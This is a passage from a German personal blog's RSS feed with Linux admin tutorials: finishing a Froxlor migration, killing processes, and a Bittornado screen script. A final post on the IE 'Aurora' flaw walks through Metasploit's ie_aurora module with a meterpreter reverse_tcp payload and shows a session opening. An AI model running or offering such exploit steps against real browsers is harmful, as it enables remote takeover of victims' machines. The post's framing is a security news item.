<span style="color: #000000; font-weight: bold;">*/</span><span style="color: #000000;">1</span> <span style="color: #000000; font-weight: bold;">*</span> <span style="color: #000000; font-weight: bold;">*</span> <span style="color: #000000; font-weight: bold;">*</span> <span style="color: #000000; font-weight: bold;">*</span>     root    <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>bin<span style="color: #000000; font-weight: bold;">/</span>php5 <span style="color: #660033;">-q</span> <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>froxlor<span style="color: #000000; font-weight: bold;">/</span>scripts<span style="color: #000000; font-weight: bold;">/</span>froxlor_master_cronjob.php</pre></div></div></li><p><strong>Apache und Postfix neu starten</strong></p><div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">EMP-S:~<span style="color: #666666; font-style: italic;"># /etc/init.d/apache2 restart</span>
EMP-S:~<span style="color: #666666; font-style: italic;"># /etc/init.d/postfix restart</span></pre></div></div></ul><h3>Froxlor Konfiguration</h3><p>Froxlor ist nun unter Eurer IP:Euerm Port (Standard 81)  erreichbar.</p><ul><li><strong>Installationsassistent</strong><br /> Ich empfehle Froxlor nicht als fcgi auszuführen. Google sagte mir das es dabei Probleme geben soll. Den neuen Prozess Spawn Manager habe ich auch nicht aktiviert. Ich warte erstmal ein paar Erfahrungsberichte ab.</li><li> <strong>Fehlerquelle: php.ini Settings</strong><br /> Die Zeile</p><div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">open_basedir = <span style="color: #ff0000;">&quot;{OPEN_BASEDIR}&quot;</span></pre></div></div><p>sollte in den php.ini Konfigurationen durch</p><div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #7a0874; font-weight: bold;">&#123;</span>OPEN_BASEDIR_C<span style="color: #7a0874; font-weight: bold;">&#125;</span>open_basedir = <span style="color: #ff0000;">&quot;{OPEN_BASEDIR}&quot;</span></pre></div></div><p>ersetzt werden. Ansonsten könnte es zu Fehlern in PHP Applikationen kommen. Im Falle Magento bekommt man die Ausgabe &#8220;No input file specified&#8221;.</li></ul><h3>SysCP entfernen</h3><p><strong>Prüft nochmals alle Funktionen bevor ihr euer SysCP vom Server entfernt.</strong></p><ul><li> <strong>SysCP löschen</strong><br /> Das &#8220;immutable&#8221; Attribut von den fcgi Scripts entfernen (chattr -i) und den SysCP Ordner vom Dateisystem löschen.</p><div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">EMP-S:~<span style="color: #666666; font-style: italic;"># chattr -i -R /var/syscp/fcgi/</span>
EMP-S:~<span style="color: #666666; font-style: italic;"># rm -r /var/syscp/</span></pre></div></div><p><strong>Vergesst die Backups nicht.</strong> /root/etc_bak/ und /var/syscp_bak/. Aufheben oder löschen. Wie es euch lieb ist.</li><li><strong>Jagd nach Überlebenden</strong><br /> Wer lustig ist kann nun noch nach überbleibseln von SysCP auf dem Server suchen und diese beseitigen. Den Datenbankname könnte man noch von syscp auf froxlor ändern. Ebenso den Unix Benutzer syscp. Weitere Überbleibsel findet man auch mit dem Kommando:</p><div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">grep</span> <span style="color: #660033;">-r</span> syscp <span style="color: #000000; font-weight: bold;">*</span></pre></div></div></li></ul><p>Froxlor ist nun via Debian APT Paketmangement Software updatebar installiert und konfiguriert. Ich hoffe bei euch läuft das mit Hilfe der Anleitung weniger turbulent und stressig. Abweichung und weitere Tipps sind erwünscht. Möchte jemand das Tutorial zu einem Update Script zusammenfassen? <img src='http://www.monkey-business.biz/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /></p> ]]></content:encoded> <wfw:commentRss>http://www.monkey-business.biz/1474/von-hetzner-syscp-image-zu-froxlor/feed/</wfw:commentRss> <slash:comments>6</slash:comments> </item> <item><title>Linux: Prozesse beenden / kill processes</title><link>http://www.monkey-business.biz/1166/linux-prozesse-beenden-kill-processes/</link> <comments>http://www.monkey-business.biz/1166/linux-prozesse-beenden-kill-processes/#comments</comments> <pubDate>Fri, 19 Nov 2010 13:08:25 +0000</pubDate> <dc:creator>Loaden</dc:creator> <category><![CDATA[Belästigung der Allgemeinheit - mein privater Weblog]]></category> <category><![CDATA[Administration]]></category> <category><![CDATA[beenden]]></category> <category><![CDATA[kill processes]]></category> <category><![CDATA[Linux]]></category> <category><![CDATA[Prozesse]]></category> <category><![CDATA[Tutorial]]></category><guid isPermaLink="false">http://www.monkey-business.biz/?p=1166</guid> <description><![CDATA[Das Beenden bzw. killen von Prozessen unter Linux / Unixoiden Systemen erfolgt in der Regel über das kill-Kommando in der Konsole. Bevor dieses Kommando zum &#8220;killen&#8221; des Prozessen benutzbar ist muss jedoch die Prozess ID ermittelt werden. Für das ermitteln der Prozess ID empfehle ich die Konsolen-Kommando Kombination: ps aux &#124; grep &#60;PROZESSNAME&#62; &#60;PROZESSNAME&#62; ist [...]]]></description> <content:encoded><![CDATA[<p>Das Beenden bzw. killen von Prozessen unter Linux / Unixoiden Systemen erfolgt in der Regel über das kill-Kommando in der Konsole. Bevor dieses Kommando zum &#8220;killen&#8221; des Prozessen benutzbar ist muss jedoch die Prozess ID ermittelt werden. Für das ermitteln der Prozess ID empfehle ich die Konsolen-Kommando Kombination:</p><div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">ps</span> aux <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">grep</span> <span style="color: #000000; font-weight: bold;">&lt;</span>PROZESSNAME<span style="color: #000000; font-weight: bold;">&gt;</span></pre></div></div><p>&lt;PROZESSNAME&gt; ist mit dem Prozess Name zu ersetzen. Beispielsweise &#8220;apache&#8221;. Das &#8220;apache&#8221; Beispiel beschert mir auf einem Server diese Ausgabe:</p><div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">www-data <span style="color: #000000;">18148</span>  <span style="color: #000000;">0.0</span>  <span style="color: #000000;">0.1</span> <span style="color: #000000;">232000</span>  <span style="color: #000000;">8664</span> ?        S    Nov18   <span style="color: #000000;">0</span>:00 <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>sbin<span style="color: #000000; font-weight: bold;">/</span>apache2 <span style="color: #660033;">-k</span> start
www-data <span style="color: #000000;">18158</span>  <span style="color: #000000;">0.0</span>  <span style="color: #000000;">0.1</span> <span style="color: #000000;">232000</span>  <span style="color: #000000;">8688</span> ?        S    Nov18   <span style="color: #000000;">0</span>:00 <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>sbin<span style="color: #000000; font-weight: bold;">/</span>apache2 <span style="color: #660033;">-k</span> start</pre></div></div><p>Es ist auch möglich, sofern der genaue Prozessename bekannt ist, das Kommando &#8220;pidof&#8221; zu nutzen.</p><div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">pidof</span> <span style="color: #000000; font-weight: bold;">&lt;</span>PROZESSNAME<span style="color: #000000; font-weight: bold;">&gt;</span></pre></div></div><p>Der Output zu diesem Befehl enthält die Prozess ID&#8217;s oder die Prozess ID je nach Anzahl der laufenden Prozesse mit dem selben Namen.</p><div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #000000;">8664</span> <span style="color: #000000;">8688</span></pre></div></div><p>Der zweite Schritt ist das eigentliche Beenden des Prozesses mit Hilfe des Kommandos kill.</p><div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">kill</span> <span style="color: #000000; font-weight: bold;">&lt;</span>PROZESSID<span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #000000; font-weight: bold;">&lt;</span>PROZESSID<span style="color: #000000; font-weight: bold;">&gt;</span></pre></div></div><p>Prozess ID&#8217;s können mit einem Leerzeichen separiert angegeben werden. Sollte sich auf diesem Wege ein Prozess nicht beenden lassen kann mit der Option &#8220;-9&#8243; des Befehls kill entgegen gewirkt werden.</p><div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">kill</span> <span style="color: #660033;">-9</span> <span style="color: #000000; font-weight: bold;">&lt;</span>PROZESSID<span style="color: #000000; font-weight: bold;">&gt;</span></pre></div></div><p>In diesem Fall wird der Prozess &#8220;hart&#8221; beendet. Es können ebenfalls mehrere ID&#8217;s mit einem Leerzeichen separiert werden.<br /> Eine andere Art mehrere Prozesse auf einen Streich zu terminieren stellt der Befehl killall da.</p><div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">killall</span> <span style="color: #660033;">-i</span> <span style="color: #000000; font-weight: bold;">&lt;</span>PROZESSNAME<span style="color: #000000; font-weight: bold;">&gt;</span></pre></div></div><p>Der Parameter &#8220;-i&#8221; sorgt dafür das vor dem Beenden jedes Prozesses nochmals nachgefragt wird ob man ihn wirklich beenden möchte.  Weitere wichtige Optionen sind die Befehle:</p><ul><li>-u &lt;UNIXUSERID&gt; <em>beendet die Prozesse des gewählen UNIX Benutzers</em></li><li>-g &lt;PROZESSGRUPPENID&gt; <em>beendet die Prozesse der gewählten Prozessgruppe</em></li></ul><p>Die Möglichkeit mehrere Prozesse mit einem Befehl zu beenden hat mir persönlich oft weitergeholfen als Server Dienste am spinnen waren. Schönes Wochenende. <img src='http://www.monkey-business.biz/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /></p><p><strong>EDIT:</strong> Beachte das du zum killen einiger Prozesse als root angemeldet sein musst.</p> ]]></content:encoded> <wfw:commentRss>http://www.monkey-business.biz/1166/linux-prozesse-beenden-kill-processes/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Linux: Torrents über die Shell mit Bittornado herunterladen</title><link>http://www.monkey-business.biz/860/linux-torrents-uber-die-shell-mit-bittornado-herunterladen/</link> <comments>http://www.monkey-business.biz/860/linux-torrents-uber-die-shell-mit-bittornado-herunterladen/#comments</comments> <pubDate>Sat, 08 May 2010 19:09:58 +0000</pubDate> <dc:creator>Loaden</dc:creator> <category><![CDATA[Belästigung der Allgemeinheit - mein privater Weblog]]></category> <category><![CDATA[Bittornado]]></category> <category><![CDATA[Linux]]></category> <category><![CDATA[Shell]]></category> <category><![CDATA[Torrent]]></category> <category><![CDATA[Tutorial]]></category><guid isPermaLink="false">http://www.monkey-business.biz/?p=860</guid> <description><![CDATA[Torrents mit dem eigenen Server herunterzuladen ist nicht nur schonend für die eigene Leitung Zuhause sondern schont ebenso die Internet Leitungen der Open Source Projekte von dessen HTTP Servern der Download ansonsten stattfinden würde. Aus diesem Grund lade ich seit längerem größere Dateien gerne über die, sofern vorhanden, verfügbaren Torrent Quellen herunter. Dazu verwende ich [...]]]></description> <content:encoded><![CDATA[<p>Torrents mit dem eigenen Server herunterzuladen ist nicht nur schonend für die eigene Leitung Zuhause sondern schont ebenso die Internet Leitungen der Open Source Projekte von dessen HTTP Servern der Download ansonsten stattfinden würde. Aus diesem Grund lade ich seit längerem größere Dateien gerne über die, sofern vorhanden, verfügbaren Torrent Quellen herunter. Dazu verwende ich den Konsolen basierenden Bittorrent Client Bittornado im Zusammenspiel mit dem allseits bekannten Screen.</p><p>Die Installation beider Komponenten gestaltet sich unter Debian oder Ubuntu sehr einfach. Ein kurzes</p><div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">apt-get</span> <span style="color: #c20cb9; font-weight: bold;">install</span> bittornado <span style="color: #c20cb9; font-weight: bold;">screen</span></pre></div></div><p>reicht aus um die Installation auszuführen. Für andere Distributionen empfehle ich die Programme über den jeweiligen Paketmanager zu installieren. Ein compilieren der Quellcodes ist meiner Meinung nach zu aufwändig.</p><p>Zum starten des Bittornado Daemons aus der Shell verwende ich ein kleines von mir geschriebenes Script. Dieses macht es möglich den UNIX Benutzer, das Download Verzeichnis sowie die maximale Anzahl von Uploads und die Uploadbandbreite festzulegen. Ich limitere den Upload um nicht zu viel Traffic zu erzeugen. Der Benutzer wird festgelegt um bei einer Exploitmöglichkeit für Bittornado keine umfassenden Angriffspunkte am System zu bieten. Sehr interessant ist hierbei auch das Bittornado in der Programmiersprache Python geschrieben ist. Dadurch wird etwas mehr Speicher und Rechenzeit benötigt. Was für mich keine Relevanz hat. Im Gegenzug können keine Buffer Overflows auftreten.</p><div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#! /bin/sh</span>
&nbsp;
<span style="color: #666666; font-style: italic;">## Author: Tobias Jäck</span>
<span style="color: #666666; font-style: italic;">## License: GPL version 3</span>
&nbsp;
<span style="color: #666666; font-style: italic;">##</span>
<span style="color: #666666; font-style: italic;">## &lt;Configuration&gt;</span>
<span style="color: #666666; font-style: italic;">##</span>
&nbsp;
<span style="color: #007800;">USER</span>=<span style="color: #ff0000;">&quot;webservices&quot;</span>
&nbsp;
<span style="color: #007800;">DIR</span>=<span style="color: #ff0000;">&quot;/home/webservices/incoming/&quot;</span>
&nbsp;
<span style="color: #007800;">MAX_UPLOADS</span>=<span style="color: #ff0000;">&quot;6&quot;</span>
&nbsp;
<span style="color: #007800;">MAX_UPLOAD_BANDWIDTH</span>=<span style="color: #ff0000;">&quot;14&quot;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">##</span>
<span style="color: #666666; font-style: italic;">## &lt;/Configuration&gt;</span>
<span style="color: #666666; font-style: italic;">##</span>
&nbsp;
<span style="color: #c20cb9; font-weight: bold;">screen</span> <span style="color: #660033;">-AmdS</span> bittornado <span style="color: #c20cb9; font-weight: bold;">su</span> <span style="color: #800000;">${USER}</span>  <span style="color: #660033;">-c</span> <span style="color: #ff0000;">&quot;btlaunchmanycurses <span style="color: #007800;">${DIR}</span>  --minport 50000 --maxport 55000 --max_uploads <span style="color: #007800;">${MAX_UPLOADS}</span> --max_upload_rate <span style="color: #007800;">${MAX_UPLOAD_BANDWIDTH}</span>&quot;</span></pre></div></div><p>Das Script wird mit</p><div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">chmod</span> +x <span style="color: #000000; font-weight: bold;">&lt;</span>SCRIPTNAME<span style="color: #000000; font-weight: bold;">&gt;</span></pre></div></div><p>lauffähig gemacht und mit</p><div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">.<span style="color: #000000; font-weight: bold;">/&lt;</span>SCRIPTNAME<span style="color: #000000; font-weight: bold;">&gt;</span></pre></div></div><p>aufgerufen. Das Vorgehen ist bei allen Scripten unter UNIX Systemen gleich. Auch mein Script stellt da keine Ausnahme da. Der im Script hinterlegte Benutzer und das Verzeichnis musst du vorher natürlich noch für dein System anpassen. Nach dem Aufruf des Scriptes passiert scheinbar nichts. Im Hintergrund wurde jedoch eine Screen Sitzungen mit Bittornado gestartet.</p><p>Um einen Download zu starten muss eine gültige .torrent Datei in das im soeben gestartete Script angegebene Verzeichnis verschoben werden. Kurze Zeit später beginnt der Download des Torrents in Bittornado. Der aktuelle Stand der Downloadvorgänge kann mit</p><div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">screen</span> <span style="color: #660033;">-r</span></pre></div></div><p>oder, falls mehere Screen Sitzungen zur selben Zeit aktiv sind mit</p><div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">screen</span> <span style="color: #660033;">-r</span> bittornado</pre></div></div><p>abgefragt werden. Wichtig ist es hierbei die Download Übersicht über screen mit <strong>strg + a</strong> und dem anschließendem Drücken der <strong>d</strong> Taste zu schließen. Ein eingeben der Tastenkombination strg + c würde Bittornado umgehend beenden und den Download abbrechen.</p><p>Den fertigen Dowload findest du im Download Verzeichnis neben den .torrent Dateien.</p><p>Natürlich könnte Bittornado auch mit dem manuellen eintippen der Befehle ohne das Startscript auf die selbe Art und Weise gestartet werden. Diese Arbeit möchte niemand antun. Insbesondere nicht ich. Ich denke mein Startscript für Bittornado ist mehr als hilfreich.</p> ]]></content:encoded> <wfw:commentRss>http://www.monkey-business.biz/860/linux-torrents-uber-die-shell-mit-bittornado-herunterladen/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>BSI warnt: Internet Explorer Aurora Exploit</title><link>http://www.monkey-business.biz/459/bsi-warnt-internet-explorer-aurora-exploit/</link> <comments>http://www.monkey-business.biz/459/bsi-warnt-internet-explorer-aurora-exploit/#comments</comments> <pubDate>Wed, 20 Jan 2010 22:31:24 +0000</pubDate> <dc:creator>Loaden</dc:creator> <category><![CDATA[Belästigung der Allgemeinheit - mein privater Weblog]]></category> <category><![CDATA[Aurora]]></category> <category><![CDATA[BSI]]></category> <category><![CDATA[Exploit]]></category> <category><![CDATA[Internet Explorer]]></category> <category><![CDATA[Metasploit]]></category> <category><![CDATA[Tutorial]]></category><guid isPermaLink="false">http://www.monkey-business.biz/?p=459</guid> <description><![CDATA[Verspätet muss ich meine Freude über die Warnung des BSI vor dem Internet Explorer veröffentlichen. Der Fehler ist bisher noch ungepacht und das Exploit schon seit einiger Zeit online verfügbar. Es sind die Versionen 6 &#8211; 8 von Microsofts Internet Explorer betroffen. Laut heise.de wurden über diesen Schwachpunkt im Browser bereits gezielte Angriffe auf Google [...]]]></description> <content:encoded><![CDATA[<p>Verspätet muss ich meine Freude über die <a href="https://www.bsi.bund.de/cln_183/ContentBSI/Presse/Pressemitteilungen/Sicherheitsluecke_IE_150110.html" target="_blank">Warnung  des BSI</a> vor dem Internet Explorer veröffentlichen. Der Fehler ist bisher noch ungepacht und das Exploit schon seit einiger Zeit online verfügbar. Es sind die Versionen 6 &#8211; 8 von Microsofts Internet Explorer betroffen. Laut <a href="http://www.heise.de/newsticker/meldung/Luecke-im-Internet-Explorer-Gute-und-schlechte-Nachrichten-908167.html" target="_blank" title="heise.de">heise.de</a> wurden über diesen Schwachpunkt im Browser bereits gezielte Angriffe auf Google und andere amerikanische Firmen verübt. Microsoft selber empfiehlt die Sicherheitseinstellungen im Internet Explorer auf &#8220;hoch&#8221; zu stellen. Das deaktivieren von Javascript reicht jedoch aus um der Gefahr des Internet Explorer Aurora Exploit zu entgehen.  Inzwischen wurde das Exploit sogar in das Exploit Framework <a href="http://www.metasploit.com/" target="_blank">Metasploit</a> aufgenommen. Das Exploit aus dem Metasploit Framework ist nur beim Internet Explorer 6 funktional. Auf den Internet Explorer 7 sind trotz Protected Mode auch unter Windows Vista erfolgreiche Angriffe möglich.  In der achten Version des Internet Explorers verhindert DEP (Data Execution Prevention) das Ausführen des Schädlichen Quellcodes. Um das &#8220;Internet Explorer Aurora Exploit&#8221; in die Finger zu bekommen muss man sich den aktuellen Snapshot via Subversion herunterladen. Die aktuelle Download Version war zum Veröffentlichungszeitpunkt das Metasploit Framework 3.3.3. Der Downloadvorgang ist denkbar einfach und schnell:</p><div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">mkdir</span> METASPLOITORDNER
<span style="color: #7a0874; font-weight: bold;">cd</span> METASPLOITORDNER
<span style="color: #c20cb9; font-weight: bold;">svn</span> <span style="color: #c20cb9; font-weight: bold;">co</span> https:<span style="color: #000000; font-weight: bold;">//</span>www.metasploit.com<span style="color: #000000; font-weight: bold;">/</span>svn<span style="color: #000000; font-weight: bold;">/</span>framework3<span style="color: #000000; font-weight: bold;">/</span>trunk<span style="color: #000000; font-weight: bold;">/</span></pre></div></div><p>Das Aurora Exploit aus dem Metasploit Framework verwendet man folgendermaßen:</p><div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">:~$ <span style="color: #7a0874; font-weight: bold;">cd</span> METASPLOITORDNER
:~$ msfconsole
msf <span style="color: #000000; font-weight: bold;">&gt;</span> use exploit<span style="color: #000000; font-weight: bold;">/</span>windows<span style="color: #000000; font-weight: bold;">/</span>browser<span style="color: #000000; font-weight: bold;">/</span>ie_aurora
msf exploit<span style="color: #7a0874; font-weight: bold;">&#40;</span>ie_aurora<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #000000; font-weight: bold;">set</span> PAYLOAD windows<span style="color: #000000; font-weight: bold;">/</span>meterpreter<span style="color: #000000; font-weight: bold;">/</span>reverse_tcp
msf exploit<span style="color: #7a0874; font-weight: bold;">&#40;</span>ie_aurora<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #000000; font-weight: bold;">set</span> LHOST <span style="color: #7a0874; font-weight: bold;">&#40;</span>deine IP<span style="color: #7a0874; font-weight: bold;">&#41;</span>
msf exploit<span style="color: #7a0874; font-weight: bold;">&#40;</span>ie_aurora<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #000000; font-weight: bold;">set</span> URIPATH <span style="color: #000000; font-weight: bold;">/</span>
msf exploit<span style="color: #7a0874; font-weight: bold;">&#40;</span>ie_aurora<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000; font-weight: bold;">&gt;</span> exploit</pre></div></div><div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Exploit running <span style="color: #c20cb9; font-weight: bold;">as</span> background job.
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Started reverse handler on port <span style="color: #000000;">4444</span>
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Local IP: http:<span style="color: #000000; font-weight: bold;">//</span>192.168.2.101:<span style="color: #000000;">8080</span><span style="color: #000000; font-weight: bold;">/</span>
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Server started.</pre></div></div><p>Nach dieser Ausgabe landet man wieder an einer Eingabeaufforderung.</p><div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">msf exploit<span style="color: #7a0874; font-weight: bold;">&#40;</span>ie_aurora<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000; font-weight: bold;">&gt;</span></pre></div></div><p>Nun wird mit dem Internet Explorer Kontakt zur eigenen IP Adresse aufgenommen. Wenn der Exploit erfolgreich ausgeführt wird erscheint die Ausgabe:</p><div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Sending stage <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">723456</span> bytes<span style="color: #7a0874; font-weight: bold;">&#41;</span>
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Loaden session <span style="color: #000000;">1</span> opened <span style="color: #7a0874; font-weight: bold;">&#40;</span>192.168.2.101:<span style="color: #000000;">4444</span> -<span style="color: #000000; font-weight: bold;">&gt;</span> 192.168.0.2.101<span style="color: #7a0874; font-weight: bold;">&#41;</span></pre></div></div><p>Metasploit bietet nun die Möglichkeit die Kontrolle des Rechners zu übernehmen. Darauf werde ich hier jedoch nicht weiter eingehen. Es lässt sich hoffen das es demnächst ein Update für den Internet Explorer geben wird.</p> ]]></content:encoded> <wfw:commentRss>http://www.monkey-business.biz/459/bsi-warnt-internet-explorer-aurora-exploit/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> </channel> </rss>
<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Minified using disk: basic
Page Caching using disk: enhanced (User agent is rejected)
Database Caching 7/14 queries in 0.009 seconds using disk: basic

Served from: www.monkey-business.biz @ 2012-02-05 02:13:09 -->
